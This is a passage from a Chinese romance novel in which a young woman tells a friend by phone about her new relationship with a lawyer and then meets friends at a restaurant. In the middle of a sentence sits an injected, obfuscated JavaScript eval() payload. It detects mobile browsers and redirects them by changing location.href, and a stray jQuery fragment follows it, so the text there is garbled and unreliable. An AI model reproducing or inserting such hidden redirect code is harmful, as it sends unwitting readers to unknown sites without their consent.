发完消息,沈思羞赧地切换聊天页面,一边掀被子下床,一边拨薛晓婉的电话。
手机搁在洗手台面上,拨了好一会儿都不见有人接,沈思瑜挤好牙膏,正要将手里的牙刷放入口中时,那边才悠悠的接通传出一声“喂”,听声音也是差不多刚醒。
薛晓婉笑呵呵地,懒懒地开口:“思瑜啊,昨晚~过得怎么样?托我的福,是不是过得挺特别?”
沈思瑜听出薛晓婉拉长尾音话里的揶揄,昨天令人面红耳赤的记忆涌上心头,沈思瑜也不急着刷牙了,隔着电话就直喊人大名:“薛晓婉!”
沈思瑜的反应不出所料,薛晓婉爽朗地笑了笑,不再逗她:“说真的,你跟他的进展是不是向前推了一大截?”
沈思瑜嘴里含着牙膏,说出的话有些含糊不清:“这真是托你的福,我们在一起了。”
“什么?”薛晓婉一个字都没听清,她掏了掏耳朵,让沈思瑜再说一遍。
沈思瑜吐掉嘴里的牙膏沫,漱了漱口,一字一顿地说:“我说我和李渊在一起了。”
“是吧,我就说你那什么温水煮青蛙不行,还是得我出……”薛晓婉话说半截,突然停了,随即很快地拔高好几个音调像是才听懂似的,“你们在一起了?!”
电话里的声音震天响,沈思瑜红着脸顿了顿:“你这反应,我跟他在一起就那么奇怪吗?”
薛晓婉没想到这俩人进展会这么快,但她很快就想到某李姓律师应该是头一次受这种刺激,占有欲作祟的情况下也说得通,同意在一起好像也挺合理,“不奇怪,不奇怪,一点都不奇怪”,这一茬说完薛晓婉关注点几乎是立马跳到别的地方:“不是,你老实告诉我你昨晚在哪睡的?”
薛晓婉这句话说得又急又直,因为她知道沈思瑜是一个把关系亲近的人放在第一位的人,而且还是包括她自己在内的第一位,除了这一点她还心软,好说话……反正是所有美好的代名词,而李渊就是另一个极端,她怕吃了一缸子醋的男人会不知轻重。
沈思瑜有些羞于启齿:“我没回去,昨晚睡在李渊这里。”
“没干什么别的吧?”薛晓婉心急得就差抓耳挠腮了。
沈思瑜想了想:“接吻算别的吗?”
听到这话薛晓婉才放心地吁了口气:“接吻算正常。”不过她放心没两秒,又紧接着嘱咐沈思瑜,“要是他想做什么你不愿意的事,可得强硬地拒绝,千万别由着他噢。”
沈思瑜脸颊飞上一抹红晕,如实回答:“晓婉你放心吧,他没有那个意思,昨天他睡觉的时候都穿着短袖长裤的睡衣。”
她想起昨晚男人的出浴场景,还觉得有些可惜,心里的话就这么顺嘴秃噜出来:“我连腹肌都没能瞧见一眼。”
薛晓婉噗嗤一声:“哎呦,听你这语气还挺失望?”说完薛晓婉脸上的笑意僵在嘴角,瞬间想到一种可能,“遮遮掩掩的,他不会是某个地方有问题吧!?”
薛晓婉对自己这个猜测越想越觉得合理,李渊长相出挑却没谈过恋爱,甚至对有意接近自己的女生也是冷着一张脸,种种行为属实奇怪,要是为了隐瞒这种事儿,倒说得通点儿。
“思瑜,你可得听我的,不行的男人可不能要,就算他长得再帅也不行!那可是关乎你未来的‘□□’生……”
眼见薛晓婉越说越离谱,沈思瑜红着脸赶紧叫停,她咬着唇难为情地替他辩驳:“不是,他……有反应,你别瞎猜。”
后半段沈思瑜几乎是从唇齿间挤出来的,轻若蚊蝇,但是薛晓婉还是一字不漏地听清楚了,她勾勾唇角轻笑一声:“既然没问题,那他还算个正人君子。”
让人脸红心跳的话题结束,沈思瑜将心底想不通的疑惑问出口:“晓婉,你昨天给李渊发了什么?为什么他会来序幕?”
沈思瑜这话一出口,薛晓婉就懂了,看来李渊没问沈思瑜有关序幕里的任何事,无论是那张名片,还是那段视频。
也是,仅仅是和沈思瑜在一起,都算他李渊高攀了,既然李渊没问,那她自然也不想让沈思瑜知道这段视频的存在。
薛晓婉眯了眯眼,看着这段经过处理的合成视频,知道如果沈思瑜知道,她一定不会同意她这么做,但这世上没那么多如果,她也不会眼睁睁看着沈思瑜为一个男人折腾自己而什么都不做。
“这个嘛,”薛晓婉轻声笑笑,略微思量几秒,没勾选那段视频,只勾选中相册里昨天拍的那张照片发了过去,“就这张照片,昨天拍的。”
沈思瑜将淌着水滴的指尖在白色毛巾上擦了擦,然后拿起白色台面上的手机,看薛晓婉发过来的照片。
照片上她穿着那件栀子黄裙坐在吧台边,微微侧身,接过男人递过来的华庭烫金名片。
沈思瑜想起来这是昨天那个言语冒犯的男人,她若有所思地看着屏幕里的照片,又抚上自己手腕间的红痕,直觉告诉她李渊一定是误会什么了,但他昨晚为什么没有问她有关照片的事呢,她想不通。
薛晓婉听电话里安静了几分钟,主动转移了话题:“说到这个,名片这事儿,你还没告诉沈阿姨吧?”
听筒里冷不丁传出声音,打断了沈思瑜的思绪,她回神应道:“嗯,还没说,怎么了?”
薛晓婉打着哈哈:“没怎么,我这不就关心关心阿姨打理得井井有条的公司嘛,对了,说起来知雨也有段时间没跟我们聚了……”
两人在电话里又聊了些有的没的,挂断电话,沈思瑜才点进李渊聊天框那栏里的未读消息。
【沈思瑜】:刚睡醒,我是不是起得太晚了。
【李渊】:没有,中午想吃什么?
消息时间显示10分钟前,11点10分,距离她发出去的那条消息有半个小时,她想那半个小时里李渊应该在忙工作。
【沈思瑜】:我中午约了晓婉她们吃饭,在关庆路的一家餐厅。
回复完消息,沈思瑜收拾好自己从淋浴间出来,下楼穿过客厅来到阳台,推拉门一开,夏日的风就带着淡淡的皂角香扑面而来,略过她钻进客厅,里面的窗帘也跟着簌簌地飞,今天晴朗有风,太阳不烈,晾衣杆上晾着她昨天放在淋浴间的裙子,除此之外还有一套女士睡衣,一套
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167855|192755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……女士内衣,齐齐被风吹得摇晃。
沈思瑜有些傻眼,才后知后觉地想起来这是她昨晚叠进裙子里的内衣,想到这里她的脸颊顿时像火烧云一样红了起来,三两下把衣架上的衣物收下来,紧紧攥在手心,好像这样就可以不那么难为情。
上楼换好衣服,沈思瑜也没勇气跟李渊提这件事,只是提醒男人中午也早点吃饭。
此时另一边,寰宇21层。
实木办公桌上的手机持续常亮,几条消息从主页面弹出,李渊停了手上的工作,拿起手机,点进沈思瑜发消息的页面。
屏幕滚动到消息最开始,一张全身照跳进视线,沈思瑜穿着那件栀子黄裙,说她要出门了。
照片上的裙子下掩着她盈盈一握的,他两只手就能完全握住的纤细腰肢。
神思蓦地跳转到昨晚。
他一向睡眠浅,与人同床共枕更是从来没有过的事,到了后半夜,他还是睡不着,沈思瑜却在他怀里睡得很沉,他感受着她呼吸时肚子的微微起伏,挑开衣摆用指腹丈量她腰间的每一寸肌肤。
记忆如同不受控制的电影,一帧一帧继续倒带着。
聚焦的镜头停滞在接吻前一刻,沈思瑜闷在被子里热得潮红的脸,以及被他发现时才肯哭出声的呜咽,那一刻幻想开始有了具象化,他龌龊的心思,无异于青春期时他最不屑的那群毛头小子。
但他这样的人,沈思瑜却说因为他睡觉没有抱着她,她才哭的,那一刻,他真的不知道该拿沈思瑜怎么办了。
——
再收到李渊的消息时,沈思瑜刚坐上计程车,昨天她开出去的那辆车现在还停在寰宇的负二层,她不想让薛晓婉和林知雨等她太久,索性就拦了辆计程车直接去餐厅。
此时TramontoItaliano意式餐厅内,早已经到了的薛晓婉和林知雨在包厢内等沈思瑜。
TramontoItaliano是一家意式餐厅,位于江北区的异域风情街,街道旁不仅有许多特色餐厅,还有许多不同风格的手工艺品店,整条街上的招牌和装饰都充满了异国元素。
从二楼的玻璃往下看去,蓝色的海河水面被阳光镀上一层流动的碎金,波光粼粼,水面上偶而有鸥鸟掠过,撩起细碎的浪花。
薛晓婉正盯着水面上的海鸥出神,一旁的林知雨出声道:“李渊和思瑜在一起了,那……那个江老的女儿江艺秋呢?”
林家做的是葡萄酒生意,家族产业,所以就算林知雨对这方面没什么兴趣也被林海带着一直参加各种酒会,毕业后除了舞团的事就是酒会,忙得脚不沾地,她对后来沈思瑜和李渊之间发生的事不太清楚,只是今天才突然从薛晓婉口中知道两人已经在一起了。
薛晓婉漫不经心地应道:“她?我也没听思瑜说起。”说完薛晓婉又想起了什么似的补充,“不过李渊把那辆宝马3系的钥匙还了回去,我想应该就是毕业那天拒绝了她吧。”
林知雨抿抿唇,随后端起杯子喝了一口水,她还以为李渊多少会看在江老的面子上与江艺秋接触一段时间,没想到……